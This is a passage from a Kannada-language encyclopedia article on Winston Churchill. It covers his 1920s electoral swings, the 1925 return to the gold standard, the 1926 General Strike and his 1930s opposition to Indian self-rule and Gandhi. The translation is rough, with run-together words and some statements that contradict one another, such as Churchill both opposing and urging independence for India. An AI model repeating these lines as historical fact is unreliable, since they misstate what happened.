ಅಪೆಂಡಿಕ್ಸ್ ಶಸ್ತ್ರಚಿಕಿತ್ಸೆಗೆ ಒಳಗಾದರು. ಪ್ರಚಾರದಲ್ಲಿ ಭಾಗಹಿಸಲು ಇದು ತೊಂದರೆಯನ್ನುಂಟು ಮಾಡಿತು, ಮತ್ತು ಆಂತರಿಕ ಒಡಕು ಹಿನ್ನಡೆ ಉಂಟುಮಾಡಿ ಲಿಬರಲ್ ಪಕ್ಷವು ಮುಂದುವರೆಯಲು ಅನುಕೂಲವಾಯಿತು. ಡಂಡಿ ಕ್ಷೇತ್ರದಲ್ಲಿ ನಾಲ್ಕನೆಯವಾಗಿ ಬಂದರು, ವಿರೋಧಿ ಎಡ್ವಿನ್ Scrymgeour ವಿರುದ್ಧ ಸ್ಥಾನ ಕಳೆದುಕೊಂಡರು. ಡಂಡಿ ಕಳೆದುಕೊಂಡ ನಂತರ "ಕಛೇರಿ ಇಲ್ಲದೆ, ಸ್ಥಾನವಿಲ್ಲದೆ ಮತ್ತು ಪಕ್ಷವಿಲ್ಲದೆ ಅಪೆಂಡಿಕ್ಸ್ ಇಲ್ಲದೆ" ಸಿದ್ಧಗೊಂಡರು.<ref name="centre-710" /> ೧೯೨೩ ಸಾರ್ವತ್ರಿಕ ಚುನಾವಣೆಯಲ್ಲಿ ಮತ್ತೆ ಲಿಬರಲ್ ವಿರುದ್ಧ ಸ್ಪರ್ಧಿಸಿ ಲೆಸ್ಟರ್ ಕಳೆದುಕೊಂಡರು, ವೆಸ್ಟ್‌ಮಿನ್ಸ್ಟರ್ ಅಬೆ ಚುನಾವಣಾ ಕ್ಷೇತ್ರದ ಉಪಚುನಾವಣೆಯಲ್ಲಿ ಸ್ಪರ್ಧಿಸಿ ಸೋತರು, ಮತ್ತೆ ೧೯೨೪ರಸಾರ್ವತ್ರಿಕ ಚುನಾವಣೆ ಯಲ್ಲಿ ಎಪ್ಪಿಂಗ್‌ನಲ್ಲಿ ಗೆದ್ದು ಬಂದರು. ಮುಂದಿನ ವರ್ಷಗಳಲ್ಲಿ ಮತ್ತೆ ಕನ್ಸರ್ವೇಟಿವ್ ಪಾರ್ಟಿ ಸೇರಿಕೊಂಡರು ಮತ್ತು ವ್ಯಂಗ್ಯವಾಗಿ ಈ ರೀತಿ ಹೇಳಿದರು "ಯಾರು ಬೇಕಾದರು ಇಲಿ ಆಗಬಹುದು, ಆದರೆ ರಿ-ರ್ಯಾಟ್ ಆಗಲು ಕೆಲವೊಂದು ಚತುರತೆ ಬೇಕಾಗುತ್ತದೆ."<ref name="centre-710" /><ref>{{cite web|title=Winston Churchill and Parliamentary Democracy|publisher=Churchill Society for the Advancement of Parliamentary Democracy|url=http://www.churchillsociety.org/CMS%20-%20Parliamentary%20Democracy.htm|accessdate=4 May 2008|archive-date=11 ಫೆಬ್ರವರಿ 2012|archive-url=https://web.archive.org/web/20120211195906/http://www.churchillsociety.org/CMS%20-%20Parliamentary%20Democracy.htm|url-status=dead}}</ref> ಚರ್ಚಿಲ್ ೧೯೨೪ರಲ್ಲಿ ಸ್ಟ್ಯಾನ್ಲಿ ಬಾಲ್ಡ್‌ವಿನ್ ಅಡಿಯಲ್ಲಿ ಎಕ್ಸ್‌ಚೆಕ್ವೇರ್‌ ಚಾನ್ಸಲರ್ ಆಗಿ ನೇಮಕಗೊಂಡರು. ಬ್ರಿಟನ್ ವಿಪತ್ಕಾಲವು ಸುವರ್ಣ ಮಾನಕ್ಕೆ ತಿರುಗಿದಂತೆ ಕಂಡು ಬಂದಿತು, ಇದರ ಪರಿಣಾಮವು ಬೆಲೆ ಇಳಿಕೆ ರೂಪದಲ್ಲಿ ಕಂಡುಬಂದಿತು, ನಿರುದ್ಯೋಗ ಮತ್ತು ಗಣಿ ಕೆಲಸಗಾರರ ಮುಷ೧೯೨೬ರ ಸಾರ್ವತ್ರಿಕ ಮುಷ್ಕರಕ್ಕೆ ನಾಂದಿಯಾಯಿತು.<ref>[http://news.bbc.co.uk/1/hi/events/budget_99/budget_briefing/279928.stm ಬಜೆಟ್ ಬ್ಲಂಡರ್ಸ್: ಮಿಸ್ಟರ್ ಚರ್ಚಿಲ್ ಮತ್ತು ದ ಗೋಲ್ಡ್ ಸ್ಟ್ಯಾಂಡರ್ಡ್ಸ್ (1925)], ಬಿಬಿಸಿ ನ್ಯೂಸ್. ೦೨-೧೨-೨೦೦೭ ರಂದು ಮರುಸಂಪಾದಿಸಲಾಯಿತು..</ref> ವಿವಿಧ ಆರ್ಥಿಕ ತಜ್ಞರು, ಖಜಾನೆಯ ಕಾಯಂ ಕಾರ್ಯದರ್ಶಿ ಜಾನ್ ಮೇನಾರ್ಡ್ ಕೀನ್ಸ್, ಸರ್ ಒಟ್ಟೊ ನಿಯೇಮೆಯರ್ ಮತ್ತು ಬ್ಯಾಂಕ್ ಆಫ್ ಇಂಗ್ಲೆಂಡ್ ಬೋರ್ಡ್ ಜೊತೆ ಹಲವಾರು ಸುತ್ತನ ಸಮಾಲೋಚನೆಯ ನಂತರ ಅವರ ತೀರ್ಮಾನ ೧೯೨೪ರ ಬಡ್ಜೆಟ್‍ನಲ್ಲಿ ಪ್ರಕಟವಾಯಿತು . ಈ ನಿರ್ಧಾರವು ಕೀನ್ಸ್‌ರನ್ನು ''ದಿ ಇಕನಾಮಿಕ್ ಕಾನ್ಸಿಕ್ವೆನ್ಸಸ್ ಆಫ್ ಮಿ.ಚರ್ಚಿಲ್'' ಬರೆಯಲು ಪ್ರೆರೇಪಿಸಿತು, ಮತ್ತು ೧೯೨೫ರಲ್ಲಿನ ಯುದ್ಧ ಪೂರ್ವ (£೧=$೪.೮೬) ಸಮಾನಕೆ ಸುವರ್ಣ ಮಾನಕ್ಕೆ ಹಿಂದಿರುಗುವುದು ಜಾಗತಿಕ ಬಿಕ್ಕಟ್ಟಿಗೆ ಎಡೆಯಾಗುವುದನ್ನು ವಿವರಿಸಿದರು. ಈ ನಿರ್ಧಾರವು ಸಾರ್ವತ್ರಿಕ ಮೆಚ್ಚುಗೆ ಗಳಿಸಿತ್ತು ಮತ್ತು ’ಸೌಂಡ್ ಇಕನಾಮಿಕ್ಸ್’ ಆಗಿ ಕಂಡುಬಂದರು ಲಾರ್ಡ್ ಬೀವರ್‌ಬ್ರೂಕ್ ಮತ್ತು ಬ್ರಿಟೀಷ್ ಕೈಗಾರಿಕಾ ಒಕ್ಕೂಟದಿಂದ ವಿರೋಧ ವ್ಯಕ್ತವಾಯಿತು.<ref>ಜೇಮ್ಸ್, ಪುಟ. ೨೦೭</ref> ಮುಂದಿನದಿನಗಳಲ್ಲಿ ಇದೊಂದು ಚರ್ಚಿಲ್ ಜೀವನದ ಅತ್ಯಂತ ದೊಡ್ಡ ತಪ್ಪೆಂದು ಭಾವಿಸುತ್ತಾರೆ. ಸುವರ್ಣ ಮಾನಕ್ಕೆ ಹಿಂದಿರುಗುವುದು ಮತ್ತು ದುಬಾರಿಯಾದ ಹಣ ನೀತಿಯು ಆರ್ಥಿಕವಾಗಿ ಕೆಟ್ಟ ಪರಿಣಾಮ ಬೀರುತ್ತದೆಂದು ಮಾಜಿ ಚಾನ್ಸಲರ್ ಮ್ಯಾಕ್‌ಕೆನಾ ಜೊತೆಗಿನ ಚರ್ಚೆಯ ಸಮಯದಲ್ಲಿ ಚರ್ಚಿಲ್ ಒಪ್ಪಿಕೊಳ್ಳುತ್ತಾರೆ. ಆ ಚರ್ಚೆಗಳಲ್ಲಿ ಆವರು ಕಾಯಿದೆಯನ್ನು ಮೂಲಭೂತವಾಗಿ ರಾಜಕೀಯವಾಗಿ ಇರಿಸಿಕೊಂಡರು - ಅವರು ನಂಬಿದ ಯುದ್ದಕ್ಕೂ-ಮುಂಚಿನ ಸ್ಥಿತಿಗತಿಗಳಿಗೆ ವಾಪಸಾಗುವುದು.<ref>ಜೇಮ್ಸ್, ಪುಟ. ೨೦೬</ref> ಒಂದು ಕರಡು ಮಸೂದೆಯ ಮೇಲೆ ಭಾಷಣ ಮಾಡುತ್ತಾ ಈ ರೀತಿ ಹೇಳಿದರು" ನಮಗೆ ಅಡ್ಡಿಪಡಿಸುತ್ತಿರುವುದು ಯಾವುದೆಂದು( ಸುವರ್ಣ ಮಾನಕ್ಕೆ ಹಿಂದಿರುಗುವಿಕೆ) ನಾನು ಹೇಳುತ್ತೇನೆ". ವಸ್ತುಸ್ಥಿತಿಯ ಮೂಲಕ ನಮ್ಮನ್ನು ಬಂಧಿಸುತ್ತದೆ."<ref>{{cite web|title=Speeches – Gold Standard Bill|url=http://www.winstonchurchill.org/learn/speeches/speeches-of-winston-churchill/115-gold-standard-bill|date=4 May 1925|publisher=The Churchill Centre|accessdate=28 August 2009}}</ref> ಯುದ್ಧ ಪೂರ್ವ ವಿನಿಮಯ ದರ ಮತ್ತು ಸುವರ್ಣ ಮಾನಕ್ಕೆ ಹಿಂದಿರುಗಿದ್ದು ಕೈಗಾರಿಕೆಗಳನ್ನು ಬಿಕ್ಕಟ್ಟಿಗೆ ತಳ್ಳಿತು. ಅತಿ ಹೆಚ್ಚು ಪ್ರಭಾವ ಕಲ್ಲಿದ್ದಲ್ಲು ಕೈಗಾರಿಕೆ ಮೇಲಾಯಿತು. ಎಣ್ಣೆಯ ಕಡೆ ಗಮನ ಹೊರಳಿದ್ದರಿಂದ ಹುಟ್ಟುವಳಿ ಇಳಿಮುಖವಾಗುತ್ತಿತ್ತು. ಬ್ರಿಟನ್‌ನ ಮೂಲ ಕೈಗಾರಿಕೆಯಾದ ಹತ್ತಿಗೆ ರಫ್ತು ಮಾರುಕಟ್ಟೆಯಲ್ಲಿ ಬಲವಾದ ಸ್ಪರ್ಧೆ ಶುರುವಾಗಿತ್ತು. ಯದ್ಧ ಪೂರ್ವ ವಿನಿಮಯಕ್ಕೆ ಬರಲು ಕೈಗಾರಿಕೆಗಳಿಗೆ ೧೦% ವೆಚ್ಚವನ್ನು ಹೆಚ್ಚಿಸಲು ಅಂದಾಜು ಮಾಡಲಾಗಿತ್ತು. ಜುಲೈ ೧೯೨೫ರಲ್ಲಿ ವಿಚಾರಣಾ ಆಯೋಗವು ಗಣಿ ಮಾಲೀಕರ ಸ್ಥಿತಿಗಿಂತ ಹೆಚ್ಚಾಗಿ ಗಣಿ ಕಾರ್ಮಿಕರ ಪರವಾಗಿ ಒಂದು ವರದಿ ತಯಾರಿಸಿತು .<ref>ಜೆಂಕಿನ್ಸ್, ಪುಟ. ೪೦೫</ref> ರಾಯಲ್ ಆಯೋಗವು ಇನ್ನೊಂದು ವರದಿ ತಯಾರಿಸಿದಾಗ ಕೈಗಾರಿಕೆಗಳಿಗೆ ಸಬ್ಸಿಡಿ ನೀಡುವಂತೆ ಚರ್ಚಿಲ್ ಪ್ರಸ್ತಾಪಿಸಿದ ವಿಷಯಕ್ಕೆ ಬಾಲ್ಡ್‌ವಿನ್ ಬೆಂಬಲಿಸಿದರು. ಅ ಆಯೋಗವು ಯಾವುದನ್ನು ಬಗೆಹರಿಸದೆ ಗಣಿ ಕೆಲಸಗಾರರ ಜೊತೆಗಿನ ವಿವಾದವು ೧೯೨೬ರ ಸಾರ್ವತ್ರಿಕ ಮುಷ್ಕರಕ್ಕೆಡೆ ಮಾಡಿಕೊಟ್ಟಿತು, ಮುಷ್ಕರ ನಿರತ ಗಣಿ ಕಾರ್ಮಿಕರ ವಿರುದ್ಧ ಮಷಿನ್ ಗನ್ ಬಳಸುವಂತೆ ಸೂಚಿಸಿ ವರದಿ ತಯಾರಿಸಿದರು. ಚರ್ಚಿಲ್ ಸರಕಾರದ ದಿನಪತ್ರಿಕೆ ದ ''ಬ್ರಿಟೀಷ್ ಗೆಜೆಟ್‌'' ನ ಮುದ್ರಣವನ್ನು ಮಾಡುತ್ತಿದ್ದರು, ಮತ್ತು, ವಿವಾದದ ಸಮಯದಲ್ಲಿ, ಅವರು ವಾದಿಸಿದ್ದೇನೆಂದರೆ"ದೇಶವು ಸಾರ್ವತ್ರಿಕ ಮುಷ್ಕರವನ್ನು ಕೊನೆಗೊಳಿಸುತ್ತದೆ, ಅಥವಾ ಸಾರ್ವತ್ರಿಕ ಮುಷ್ಕರವು ದೇಶವನ್ನು ಕೊನೆಗಾಣಿಸುತ್ತದೆ" ಮತ್ತು [[ಬೆನಿಟೋ ಮುಸೊಲಿನಿ|ಬೆನಿಟೋ ಮುಸ್ಸೊಲಿನಿ]]ಯ ಫ್ಯಾಸಿಸ್ಟ್ ನೀತಿಯು "ಸಂಪೂರ್ಣ ದೇಶಕ್ಕ್ವೆಒಂದು ಸೇವೆಯನ್ನು ಸಲ್ಲಿಸಿದೆ" ಎಂದು ಅವರು ಹೇಳಿದರು, "ವಿಧ್ವಂಸಕ ಬಲಗಳನ್ನು ದಮನಮಾಡುವುದಕ್ಕೆ ಒಂದು ಮಾರ್ಗವಾಗಿ" ಇದು ಕಾರ್ಯನಿರ್ವಹಿಸಿದ್ದನ್ನು ವಿವರಿಸಿದರು - ಅಂದರೆ, ಅವರು ತಮ್ಮ ಅಧಿಪತ್ಯವನ್ನು ಕಮ್ಯುನಿಸ್ಟ್ ಕ್ರಾಂತಿಯ ಗೋಚರ ಬೆದರಿಕೆಯ ವಿರುದ್ಧ ಒಂದು ರಕ್ಷಕ ಎಂಬಂತೆ ಪರಿಗಣಿಸಿದರು. ಇಂದು ಹಂತದಲ್ಲಿ ಚರ್ಚಿಲ್ ಮುಸಲೋನಿಯನ್ನು ಮಾನವರಿಗೆ ಅತ್ಯುತ್ತಮ ಕಾನೂನು ನೀಡಿದ......... ರೋಮನ್ ಪ್ರತಿಭೆ." ಎಂದು ಕರೆಯುವಲ್ಲಿಗೂ ಹೋಗುತ್ತಾರೆ<ref>ಪಿಕ್‌ನೆಟ್, ಲಿನ್, ಪ್ರಿನ್ಸ್, ಕ್ಲೈವ್, ಪ್ರಿಯರ್, ಸ್ಟೆಫನ್ ಎಂಡ್ ಬ್ರೈಡನ್, ರಾಬರ್ಟ್ (೨೦೦೨). ''ವಾರ್ ಆಫ್ ದ ವಿಂಡ್ಸರ್ಸ್: ಎ ಸೆಂಚುರಿ ಆಫ್ ಅನ್‌ಕಾನ್ಸ್ಟಿಟ್ಯೂಷನಲ್ ಮೊನಾರ್ಚಿ'' , ಪುಟ. ೭೮. ಮೇನ್‌ಸ್ಟ್ರೀಮ್‌ ಪಬ್ಲಿಷಿಂಗ್‌. ಐಎಸ್‌ಬಿಎನ್ ೧-೮೪೦೧೮-೬೩೧-೩.</ref> ನಂತರ ಬಂದ ಆರ್ಥಿಕ ತಜ್ಞರು ಹಾಗೆಯೇ ಆ ಸಮಯದ ಜನರು ಕೂಡ ಚರ್ಚಿಲ್‌ರ ಬಡ್ಜೆಟ್ ಮಾನದಂಡಗಳನ್ನು ಟೀಕಿಸಿದರು. ಇದು ಸಾಮಾನ್ಯವಾಗಿ ಏಳಿಗೆ ಹೊಂದುತ್ತಿರುವ ಬಾಡಿಗೆದಾರ ಬ್ಯಾಂಕುಗಳು ಮತ್ತು ಸಂಬಳ ಪಡೆವ ವರ್ಗಕ್ಕೆ ನೆರವಾಗುವಂತೆ ಕಂಡು ಬರುತ್ತದೆ(ಬಹುಮಟ್ಟಿಗೆ ಚರ್ಚಿಲ್ ಮತ್ತು ಅವರ ಸಹವರ್ತಿಗಳು ಸೇರಿದ್ದರು)ಉತ್ಪಾಕರುಗಳು ಮತ್ತು ರಫ್ತುದಾರರ ವೆಚ್ಚವು ಆಮದಿನಿಂದಾಗಿ ಮತ್ತು ಸಾಂಪ್ರದಾಯಿಕ ರಫ್ತು ಮಾರುಕಟ್ಟೆಯಲ್ಲಿ ತೊಂದರೆಯಲ್ಲಿದ್ದರು,<ref>ಎಚ್ ಹ್ಯಾಂಡರ್ಸನ್ ಆಂತರಿಕ ಯುದ್ಧದ ವರ್ಷಗಳು ಮತ್ತು ಇತರ ಬರಹಗಳು. ಕ್ಲಾರೆಂಡನ್‌ ಪ್ರೆಸ್‌.</ref> ಮತ್ತು ಶಾಸ್ತ್ರಾಸ್ತ್ರ ಪಡೆಗಳಿಂದಲೂ ಅಧಿಕವಾಗಿ ಸುಲಿಯಲಾಗುತ್ತಿತ್ತು.<ref>ಜೇಮ್ಸ್, ಪುಟ ೨೨ ೨೧೨</ref> [[File:John Churchill Marlborough porträtterad av Adriaen van der Werff (1659-1722).jpg|thumb|left|1930ರ ಮಧ್ಯಭಾಗದಲ್ಲಿ ಚರ್ಚಿಲ್‌‌ರ ಪೂರ್ವಜ 1ನೇಯ ಡ್ಯೂಕ್ ಮಾರ್ಲ್‌ಬೋರೊ ಜಾನ್ ಚರ್ಚಿಲ್‌‌ರ ಜೀವನ ಚರಿತ್ರೆಯನ್ನು ಬರೆದರು.]] ===ರಾಜಕೀಯ ಪ್ರತ್ಯೇಕಿಕರಣ=== ೧೯೨೯ ಸಾರ್ವತ್ರಿಕ ಚುನಾವಣೆಯಲ್ಲಿ ಕನ್ಸರ್ವೇಟಿವ್ ಸರ್ಕಾರವು ಸೋಲನ್ನನುಭವಿಸಿತು. ಚರ್ಚಿಲ್ ಕನ್ಸರ್ವೇಟಿವ್ ಎಂಪಿಗಳ ಅಧೀಕೃತ ಮುಖಂಡತ್ವಕ್ಕಾಗಿ ಕನ್ಸರ್ವೇಟಿವ್ ಬಿಜಿನೆಸ್ ಕಮಿಟಿಗೆ ಚುನಾವಣೆಗಾಗಿ ಕೇಳಲಿಲ್ಲ. ಮುಂದಿನ ಎರಡು ವರ್ಷಗಳಲ್ಲಿ, ಸಂರಕ್ಷಣ ತೆರಿಗೆಗಳು ಮತ್ತು ಭಾರತದ ಸ್ವಾಯತ್ತತೆ ಮತ್ತು ರಾಜಕೀಯ ದೃಷ್ಟಿಕೋನ ಮತ್ತು ಮಾಧ್ಯಮ ಬಾರೂನ್‌ಗಳ ಮತ್ತು ಬಂಡವಾಳಗಾರರು ಮತ್ತು ಸಂಶಯಾಸ್ಪದ ವ್ಯಕ್ತಿಗಳ ಜೊತೆಗಿನ ಸ್ನೇಹ ಇದ್ಯಾವುದೇ ವಿಷಯಗಳಿಂದಲೂ ಕನ್ಸರ್ವೇಟಿವ್ ನಾಯಕತ್ವದಿಂದ ವಿಶ್ವಾಸಕಳೆದುಕೊಳ್ಳಲಿಲ್ಲ. ರಾಮ್ಸೆ ಮ್ಯಾಕ್‌ಡೊನಾಲ್ಡ್೧೯೩೧ರಲ್ಲಿ ನ್ಯಾಷನಲ್ ಗವರ್ನ್ಮೆಂಟ್ ರಚಿಸಿದಾಗ ಚರ್ಚಿಲ್‌ರನ್ನು ಕ್ಯಾಬಿನೇಟ್ ಸೇರಿಕೊಳ್ಳಲು ಆಹ್ವಾನಿಸಲಿಲ್ಲ. ಇದು ಅವರ ವೃತ್ತಿ ಜೀವನದಲ್ಲಿನ ಅತ್ಯಂತ ಕೆಳ ಘಟ್ಟವಾಗಿತ್ತು ಈ ಅವಧಿಯನ್ನು "ಬರಡು ವರ್ಷ"ವೆಂದು ಹೇಳಲಾಗುತ್ತದೆ.<ref name="gilbert2">{{cite book|last=Gilbert|first=Martin|title=Winston Churchill: The Wilderness Years|publisher=Pimlico|year=2004|location=London|isbn=978-1-84413-418-2}}</ref> ''[[Marlborough: His Life and Times]]'' —ತಮ್ಮ ಪೀಳಿಗೆಯ ಜಾನ್ ಚರ್ಚಿಲ್, ಮಾರ್ಲ್‌ಬೋರೊದ ೧ನೇಯ ಡ್ಯೂಕ್‌ನ ಜೀವನ ಚರಿತ್ರೆ—ಮತ್ತು ''ಎ ಹಿಸ್ಟರಿ ಆಫ್ ದ ಇಂಗ್ಲೀಷ್ ಪೀಪಲ್ಸ್'' (ಎರಡನೇಯ ಜಾಗತಿಕ ಯುದ್ಧ ಮುಗಿಯುವವರೆಗೂ ಪ್ರಕಟವಾಗಲಿಲ್ಲ),<ref name="gilbert2" /> ''ಗ್ರೇಟ್ ಕಂಟೇಂಪರರೀಸ್'' ಮತ್ತು ಹಲವಾರು ಸುದ್ಧಿ ಪತ್ರಿಕೆಗಳಿಗೆ ಲೇಖನ ಮತ್ತು ಭಾಷಣಗಳ ಸಂಗ್ರಹಗಳ ಮೇಲೆ ಮುಂದಿನ ಕೆಲವು ವರ್ಷ ತಮ್ಮ ಗಮನ ಹರಿಸಿದರು. ಅವರ ಕಾಲದಲ್ಲಿ ಉತ್ತಮ ಸಂಭಾವನೆ ಪಡೆಯುತ್ತಿದ್ದ ಒಬ್ಬ ಬರಹಗಾರರಿವರು.<ref name="gilbert2" /> ರಾಜಕೀಯದ ಕುರಿತಾಗಿನ ಇವರ ದೃಷ್ಟಿಕೋನಗಳು, ೧೯೩೦ ರೋಮನ್ಸ್ ಎಲೆಕ್ಷನ್ ಮತ್ತು ''ಪಾರ್ಲಿಮೆಂಟರಿ ಗವರ್ನಮೆಂಟ್ ಆ‍ಯ್‌೦ಡ್ ದಿ ಇಕನಾಮಿಕ್ ಪ್ರಾಬ್ಲೆಮ್'' (೧೯೩೨ ರಲ್ಲಿ ಮತ್ತೆ "ಥಾಟ್ಸ್ ಆ‍ಯ್‌೦ಡ್ ಅಡ್ವೆಂಚರ್ಸ" ಎಂದು ಪ್ರಕಟವಾಯಿತು)ಸಾರ್ವತ್ರಿಕ ಮತದಾನದ ನಿರಾಕರಣೆ, ಆಸ್ತಿ ಅಧಿಕಾರ ವಾಪಸ್ಸಾತಿ, ಪ್ರಮುಖ ನಗರಗಳು ಮತ್ತು ಆರ್ಥಿಕ ’ಉಪ ಸಂಸತ್ತಿಗೆ” ಅನುಗುಣವಾಗಿ ಪ್ರಾತಿನಿಧಿತ್ವಗಳನ್ನು ಒಳಗೊಂಡಿತ್ತು.<ref>[http://www.winstonchurchill.org/learn/writings/bibliography ವಿನ್‌ಸ್ಟನ್ ಚರ್ಚಿಲ್‌ರಿಂದ ಬರೆಯಲ್ಪಟ್ಟ ಪುಸ್ತಕಗಳು (ಅಮಿಡ್ ದೀಸ್ ಸ್ಟಾರ್ಮ್ಸ್ ಅನ್ನು ನೋಡಿ)], ದ ಚರ್ಚಿಲ್ ಸೆಂಟರ್, ೨೦೦೭</ref> ====ಭಾರತದ ಸ್ವಾತಂತ್ರ್ಯದ==== ಚರ್ಚಿಲ್‌ ಅವರು, ಮಹಾತ್ಮಾ ಗಾಂಧಿಜಿಯವರು ೧೯೩೦ರಲ್ಲಿ ಭಾರತ ಸ್ವತಂತ್ರಕ್ಕಾಗಿ ಮಾಡಿದ ಶಾಂತಿಯುತ ಅಸಹಕಾರ ಚಳುವಳಿಯನ್ನು ವಿರೋಧಿಸಿದರು. ದುಂಡು ಮೇಜಿನ ಸಭೆಯನ್ನುದ್ದೇಶಿಸಿ ಅವರು " ಈ ಕ್ರಮವು ಹೆದರಿಸುವಂತದ್ದಾಗಿದೆಯೇ" ಎಂದು ಹೇಳಿದರು.<ref>೨೪೭ ಹೌಸ್ ಆಫ್ ಕಾಮನ್ಸ್ ಡಿಬೇಟ್ ೫s col ೭೫೫</ref> ನಂತರ ವರದಿಗಳಲ್ಲಿ ಚರ್ಚಿಲ್‌ ಅವರ ಪ್ರಕಾರ ಗಾಂಧಿಜಿ ಇಂತಹ ಉಪವಾಸ ಸತ್ಯಾಗ್ರಹದಂತಹ ಚಳುವಳಿಗಳನ್ನು ಮುಂದುವರಿಸುವುದಾದರೆ ಅವರು ಸಾಯುವುದೇ ಲೆಸು ಎಂದು ಅಭಿಪ್ರಾಯ ಪಟ್ಟಿದ್ದಾರೆ ಎಂದು ಪ್ರಕಟಿಸಿದವು.<ref>{{cite news|url=http://news.bbc.co.uk/2/hi/south_asia/4573152.stm|title=Churchill took hardline on Gandhi|publisher=BBC News|date=1 January 2006|accessdate=12 April 2010}}</ref> ೧೯೩೦ರ ದಶಕದ ಮೊದಲಾರ್ದದಲ್ಲಿ ಚರ್ಚಿಲ್‌ ಅವರು ಭಾರತಕ್ಕೆ ಸ್ವತಂತ್ರವನ್ನು ಬಿಟ್ಟುಕೊಡುವುದನ್ನು ವಿರೋಧಿಸಿದರು. ಇವರು ಭಾರತದಲ್ಲಿನ ಬ್ರಿಟಿಷ್‌ ಶಕ್ತಿಯನ್ನು ಭದ್ರವಾಗಿಸುವುದಕ್ಕಾಗಿ ಪ್ರಾರಂಭವಾದ ಇಂಡಿಯಾ ಡಿಫೆನ್ಸ್‌ ಲೀಗ್‌ನ ಸಂಸ್ಥಾಪಕರಾಗಿದ್ದಾರೆ. ಚರ್ಚಿಲ್‌ ಅವರು ನವೀನತೆಯನ್ನು ವಿರೋಧಿಸುತ್ತಿದ್ದರು. ಗಾಂಧಿತ್ವ ಮತ್ತು ಅವರ ತತ್ವಗಳನ್ನೆಲ್ಲವನ್ನೂ ಬದ್ರವಾದ ಮುಷ್ಠಿಯಲ್ಲಿರಿಸಿಕೊಳ್ಳಬೇಕೆಂದು ೧೯೩೦ರಲ್ಲಿ ಅಭಿಪ್ರಾಯ ವ್ಯಕ್ತಪಡಿಸಿದರು.<ref name="independent.ie">{{cite web|author=Kevin Myers|url=http://www.independent.ie/opinion/columnists/kevin-myers/kevin-myers-seventy-years-on-and-the-soundtrack-to-the-summer-of-1940-is-filling-britains-airwaves-2286560.html|title=Seventy years on and the soundtrack to the summer of 1940 is filling Britain's airwaves|publisher=Independent.ie|date=|accessdate=2010-11-07}}</ref> ಅವರ ಭಾಷಣಗಳಲ್ಲಿ ಮತ್ತು ಪತ್ರಿಕಾ ಪ್ರಕಟಣೆಗಳಲ್ಲಿ ಅವರು ಮುಂದಿನ ದಿನದಲ್ಲಿ ಬ್ರಿಟನ್‌ನಲ್ಲಿ ತಾಂಡವಾಡುತ್ತಿರುವ ನಿರುದ್ಯೋಗ ಮತ್ತು ಭಾರತದಲ್ಲಿ ನಡೆಯುತ್ತಿರುವ ಹೋರಾಟಗಳಿಂದಾಗಿ ಭಾರತಕ್ಕೆ ಸ್ವತಂತ್ರವನ್ನು ಘೋಷಿಸಬೆಕೆಂದು ಸಲಹೆ ನೀಡಿದರು.<ref>ಜೇಮ್ಸ್, ಪುಟ. ೨೬೦</ref> ಪೂರ್ವಭಾವಿ ಸಾಂಪ್ರದಾಯಿಕ ಸರ್ಕಾರದಿಂದ ನಿಯಮಿಸಲ್ಪಟ್ಟ ವೈಸರಾಯ್‌ ಲಾರ್ಡ್‌ ಇರ್ವಿನ್‌ ಅವರು ೧೯೩೧ರಲ್ಲಿ ನಡೆದ ದುಂಡು ಮೇಜಿನ ಸಮ್ಮೇಳನದಲ್ಲಿ ಭಾಗವಹಿಸಿದ್ದರು ಮತ್ತು ನಂತರ ಸರ್ಕಾರದ ಯೋಜನೆಯಾದ ಭಾರತವನ್ನು ಸ್ವಂತತ್ರ ದೇಶವನ್ನಾಗಿ ಘೋಷಿಸುವ ನಿರ್ಧಾರನ್ನು ಪ್ರಕಟಿಸಿದರು. ಇದರಲ್ಲಿ ಸರ್ಕಾರವು ಲಿಬರಲ್‌ ಪಕ್ಷದ ಬೆಂಬಲವನ್ನು ಹೊಂದಿತ್ತು ಆದರೆ ಅಧಿಕೃತವಾಗಿ ಕನಿಷ್ಠಪಕ್ಷ ಕಾನ್ಸರ್‌ವೆಟಿವ್‌ ಪಕ್ಷದ ಬೆಂಬಲವನ್ನು ಹೊಂದುವುದು ಅನಿವಾರ್ಯವಾಗಿತ್ತು. ಇದರಿಂದಾಗಿ ಚರ್ಚಿಲ್‌ ಅವರು ದುಂಡುಮೇಜಿನ ಸಮ್ಮೇಳನವನ್ನು ರದ್ದುಗೊಳಿಸಿದರು. ಪೂರ್ವ ಎಸ್ಸೆಕ್ಸ್‌ನಲ್ಲಿ ಕಾನ್ಸ್‌ರ್‌ವೆಟಿವ್‌ ಪಕ್ಷದವರು ಪಕ್ಷದ ಸಭೆ ಕರೆದಿದ್ದರು ಆದ್ದರಿಂದ ಚರ್ಚಿಲ್‌ ತಮ್ಮ ಮುಕ್ತ ಅಭಿಪ್ರಯವನ್ನು ತಿಳಿಸಬಹುದಾಗಿತ್ತು ಆದ್ದರಿಂದ ಅವರು ಅಲ್ಲಿ ಈ ರೀತಿ ನುಡಿದರು " ಈಗ ಎಚ್ಚರಿಕೆಯ ಗಂಟೆ ಬಾರಿಸುತ್ತಿದೆ ಮತ್ತು ಮಿ.ಗಾಂಧಿಯವರನ್ನು ನೋಡಲು ಹೇಸಿಗೆಯಾಗುತ್ತಿದೆ. ಆತನೊಬ್ಬ ಶಾಂತಿಭಂಗಕಾರಿ ಮಧ್ಯ-ದೇವಸ್ಥಾನಗಳ ವಕೀಲನಾಗಿದ್ದಾನೆ. ಈಗ ಪೂರ್ವದಲ್ಲಿ ಚೆನ್ನಾಗಿ ಪರಿಚಿತನಾಗಿರುವಂತೆ ಪಕೀರನಂತೆ ಅರ್ಧ ನಗ್ನನಾಗಿ ವೇಷ ಧರಿಸುತ್ತಾನೆ. ತಾನೂ ಕೂಡ ದೇಶದ ರಾಜ ಪ್ರತಿನಿಧಿಯ ಸಮಾನನ ರೀತಿಯಲ್ಲಿ ದೊಡ್ಡ ಹೆಜ್ಜೆಗಳನ್ನಿಡುತ್ತಾ ವೈಸ್‌-ರೀಗಲ್‌ ಪ್ಯಾಲೆಸ್‌ನ ಮೆಟ್ಟಿಲೇರುತ್ತಾನೆ".<ref>ಗಿಲ್ಬರ್ಟ್, ಮಾರ್ಟಿನ್. ''ವಿನ್‌ಸ್ಟನ್ ಎಸ್. ಚರ್ಚಿಲ್. ದ ಪ್ರೊಫೆಟ್ ಆಫ್ ಟ್ರುತ್ *೧೯೨೨–೧೯೩೯'' . (c) ೧೯೭೬ ಸಿ&amp;ಟಿ ಪಬ್ಲಿಕೇಷನ್ಸ್‌, ಲಿಮಿಟೆಡ್‌ದಿಂದ: 